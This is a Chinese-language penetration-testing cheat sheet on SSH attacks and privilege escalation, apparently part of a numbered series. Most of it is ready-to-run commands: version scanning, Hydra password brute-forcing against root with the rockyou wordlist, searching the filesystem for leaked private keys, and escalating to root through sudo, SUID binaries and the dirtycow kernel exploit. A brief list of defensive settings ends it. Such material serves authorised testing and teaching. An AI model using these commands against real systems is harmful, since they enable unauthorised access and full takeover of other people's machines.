22 - SSH 渗透与提权
漏洞概述
SSH(Secure Shell)是 Linux/Unix 系统远程管理的主要协议。常见攻击方式包括弱口令爆破、密钥泄露、配置不当等。
影响版本: 所有版本
危害等级: ⭐⭐⭐⭐⭐
信息收集
端口扫描
# Nmap 扫描
nmap -sV -p 22 <TARGET_IP>
# 识别 SSH 版本
nmap -sV --script ssh2-enum-algos <TARGET_IP>
版本识别
# 直接连接获取版本信息
nc -v <TARGET_IP> 22
# 输出示例
SSH-2.0-OpenSSH_7.4p1 Ubuntu-10ubuntu0.5
漏洞利用
方法 1: 弱口令爆破
# Hydra 爆破
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<TARGET_IP>
# 多用户爆破
hydra -L users.txt -P passwords.txt ssh://<TARGET_IP>
# 指定端口
hydra -l root -P rockyou.txt ssh://<TARGET_IP>:2222
方法 2: 密钥泄露
# 检查是否存在弱权限的私钥
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
# 使用泄露的私钥连接
ssh -i id_rsa user@<TARGET_IP>
chmod 600 id_rsa # 设置正确权限
方法 3: SSH 配置不当
# 检查是否允许 root 登录
grep "PermitRootLogin" /etc/ssh/sshd_config
# 检查是否允许空密码
grep "PermitEmptyPasswords" /etc/ssh/sshd_config
提权路径
1. sudo 提权
# 检查 sudo 权限
sudo -l
# 如果允许任意命令
sudo /bin/bash
sudo su
2. SUID 提权
# 查找 SUID 文件
find / -perm -u=s -type f 2>/dev/null
# 常见可利用 SUID
/usr/bin/find -perm -4000 -exec /bin/sh -p \;
3. 内核漏洞提权
# 检查内核版本
uname -a
# 使用 dirtycow 等漏洞
# https://github.com/firefart/dirtycow
防御建议
-
禁用 root 远程登录
-
使用密钥认证
PasswordAuthentication no
PubkeyAuthentication yes
-
修改默认端口
-
安装 Fail2Ban
-
定期更新 SSH 服务
参考链接